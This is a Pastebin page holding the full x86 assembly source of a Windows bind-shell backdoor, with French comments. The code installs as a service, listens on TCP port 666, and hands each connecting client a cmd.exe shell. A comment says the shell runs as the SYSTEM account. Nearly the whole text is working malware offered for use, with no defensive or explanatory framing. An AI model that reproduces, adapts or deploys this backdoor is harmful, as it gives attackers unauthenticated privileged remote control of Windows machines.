Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ; Codé par aaSSfxxx ;
- ;imports de kernel32
- extern CreateProcessA
- import CreateProcessA kernel32.dll
- extern ExitProcess
- import ExitProcess kernel32.dll
- extern CreateThread
- import CreateThread kernel32.dll
- extern WaitForSingleObject
- import WaitForSingleObject kernel32.dll
- ;imports de advapi32
- extern CreateProcessAsUserA
- import CreateProcessAsUserA advapi32.dll
- extern StartServiceCtrlDispatcherA
- import StartServiceCtrlDispatcherA advapi32.dll
- extern RegisterServiceCtrlHandlerA
- import RegisterServiceCtrlHandlerA advapi32.dll
- extern SetServiceStatus
- import SetServiceStatus advapi32.dll
- ;imports de ws2_32
- extern WSAStartup
- import WSAStartup ws2_32.dll
- extern WSASocketA
- import WSASocketA ws2_32.dll
- extern accept
- import accept ws2_32.dll
- extern bind
- import bind ws2_32.dll
- extern listen
- import listen ws2_32.dll
- extern send
- import send ws2_32.dll
- extern recv
- import recv ws2_32.dll
- extern closesocket
- import closesocket ws2_32.dll
- %define MAX_PATH 32
- section data use32
- ; Déclaration de constantes
- %define SERVICE_WIN32_OWN_PROCESS 0x00000010
- %define SERVICE_ACCEPT_STOP 0x00000001
- %define SERVICE_RUNNING 0x00000004
- %define SERVICE_STOPPED 0x00000001
- %define AF_INET 2
- %define IP_PROTO_TCP 6
- %define SOCK_STREAM 1
- %define szInfo error + 4 - common_startupInfo
- ; Quelques variables globales
- svcName db "Service1" ; Nom du service
- svcTableEntry: ; SERVICE_TABLE_ENTRY appelé par le CtrlDispatcher
- dd svcName
- dd ServiceMain
- dd 0
- dd 0
- svcStatus: ; Notre structure qui contiendra le statut du service (préremplie pour gagner quelques octets)
- dd SERVICE_WIN32_OWN_PROCESS
- dd SERVICE_RUNNING
- dd SERVICE_ACCEPT_STOP
- dd 0
- dd 0
- dd 0
- dd 0
- svcStatusHandle: ; Notre handle pour changer le statut du service
- dd 0
- serverSin: ; Structure IN_ADDR
- dw AF_INET
- db 0x02,0x9A
- dd 0 ;IPADDR_ANY
- dw 0
- dd 0
- dw 0
- ;fin de la structure
- welcome_banner: db "**********************",0x0a,0x0d
- db "* rem0te sh3ll *",0x0a,0x0d
- db "* par aaSSfxxx *",0x0a,0x0d
- db "**********************",0x0a,0x0d
- end_banner
- exe_name db "cmd.exe",0 ; L'exécutable à lancer par CreateProcess
- common_startupInfo: ;Structure STARTUPINFO
- dd szInfo ;cb
- dd 0 ;lpDesktop
- dd 0 ;lpTitle
- dd 0 ;lpPeserved
- dd 0 ;dwX
- dd 0 ;dwY
- dd 0 ;dwXSize
- dd 0 ;dwYSize
- dd 0 ;dwXCounrChars
- dd 0 ;dwYCountChars
- dd 0 ;dwFillAttributes
- dd 0x100 ;dwFlags
- dw 0 ;wShowWindow
- dw 0 ;wReservedByte2
- dd 0 ;lpReservedByte
- input:
- dd 0 ;hStdInput
- output:
- dd 0 ;hStdOutput
- error:
- dd 0 ;hStdError
- wsaData resd 1024
- ;Section de code
- section text use32
- global main
- global ServiceMain
- global ServiceCtrlHandle
- global ClientThread
- ; Point d'entrée du programme/service
- main:
- ; Lance la fonction d'enregistement de socket
- push wsaData
- push 0x00000202
- call [WSAStartup]
- ; On dit au SCM qu'il y a des services à exécuter dans cet exécutable
- push svcTableEntry
- call [StartServiceCtrlDispatcherA]
- ret 16
- ;Point d'entrée du service, appelé par SCM après avoir exécuté StartServiceCtrlDispatcher
- ServiceMain:
- push ebp
- mov ebp,esp
- ;On enregistre le CtrlHandler (fonction que le SCM va appeler dès qu'il veut modifier l'état du service)
- push ServiceCtrlHandle
- push svcName
- call [RegisterServiceCtrlHandlerA]
- ;On dit au SCM que le service est démarré
- push svcStatus
- push eax
- call [SetServiceStatus]
- ;On crée notre socket
- push 0
- push 0
- push 0
- push IP_PROTO_TCP
- push SOCK_STREAM
- push AF_INET
- call [WSASocketA]
- cmp eax,0
- je kill_me
- ;On l'attache au port
- mov ebx, eax
- push 0x10
- push serverSin
- push ebx
- call [bind]
- add esp,0x0c
- cmp eax,-1
- je kill_me
- ;On écoute
- push 5
- push ebx
- call [listen]
- add esp,0x08
- cmp eax,-1
- je kill_me
- ;Boucle principale d'écoute
- loop:
- ;On attend la connexion du client
- push 0
- push 0
- push ebx
- call [accept]
- add esp,0x0c ; nettoyage de la pile
- cmp eax,0
- je kill_me
- ;Lancement du thread de réception
- push 0
- push 0
- push eax
- push ClientThread
- push 0
- push 0
- call [CreateThread]
- jmp loop
- ;Error handler très rudimentaire: on se suicide en cas d'erreur
- kill_me:
- call [ExitProcess]
- leave
- ret 8
- ;Fonction thread client
- ClientThread:
- push ebp
- mov ebp,esp
- sub esp,0x10
- ;On met le handle socket dans ecx
- mov ecx,[ebp+0x08]
- ;On change ce qui doit changer dans notre structure STARTUPINFO (merci ivanlef0u pour l'astuce du handle socket)
- mov dword [input],ecx
- mov dword [output],ecx
- mov dword [error],ecx
- ;On affiche la bannière d'accueil
- push 0
- push end_banner-welcome_banner
- push welcome_banner
- push ecx
- call [send]
- add esp, 0x10
- ;On va se créer un shell r00t (compte SYSTEM)
- mov ecx,ebp
- sub ecx,0x10
- push ecx
- push common_startupInfo
- push 0
- push 0
- push 0
- push 1 ; sinon ça fonctionne pas (les handles socket ne sont pas hérités)
- push 0
- push 0
- push exe_name
- push 0
- call [CreateProcessA]
- ;On attend que le shell soit quitté avant de fermer.
- push 0
- push ecx
- call [WaitForSingleObject]
- push dword[ebp+8]
- call [closesocket]
- leave
- ret 0x04
- ;Control handler du service (ne fait rien du tout)
- ServiceCtrlHandle:
- ret
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement